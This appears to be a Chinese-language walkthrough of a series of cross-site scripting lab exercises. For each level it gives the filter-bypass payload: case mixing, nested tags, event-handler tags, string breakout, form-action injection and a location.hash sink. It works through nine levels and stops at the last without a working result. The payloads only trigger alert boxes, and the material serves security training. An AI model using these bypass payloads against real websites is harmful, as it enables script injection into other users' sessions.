example1:<script>alert(1)</script> 直接弹窗
example2:<Script>alert(1)</scriPt> 大小写绕过弹窗
example3:<Sc<script>ript>alert(1)</sc</script>riPt>双写绕过
example4:<iframe οnlοad=alert(/xss/)> 绕过对script标签的过滤,<img src=x οnerrοr=alert(/xss/)>也行,当然还有很多。不过在这题里用的其实可以直接过前三个。。。。
example5:<script>prompt(1)</script> 绕过对alert()的过滤
example6:</script><script>prompt(1)</script><script>
做题过程:首先输入<script>prompt(1)</script>测试,观察源码如下:
<script>
var $a= "hacker<script>prompt(1)</script>";
</script>
这就简单了,把外面的两个script标签提前闭合就好了。
example7:';alert(1) ;//'
照例先输入<script>alert(1)</script>测试,发现尖括号被转义了:
<script>
var $a= 'hacker<script>alert(1)</script>';
</script>
开始想法闭合,/xss/example7.php?name=hacker';alert(1) var $b='
<script>
var $a= 'hacker';alert(1) var $b='';
</script>
还是不行,又构造成name=hacker';alert(1) ;//' 成了!
<script>
var $a= 'hacker';alert(1) ;//'';
</script>
example8:按照常规思路,我们是在输入框里插入xss.我输入<a>可以发现尖括号被转义
这题就要转换思路——从URL入手,注入点在<form action=" "这部分。
payload:/example8.php/"><script>alert(1)</script>
example9: 观察源码:
这句话的意思是向网页文档中输出URL#后面(location.hash)第二个字符开始(substring(1))的内容.所以构造payload为
/example9.php#h<script>alert(1)</script> 然后没有弹窗。。。。。。。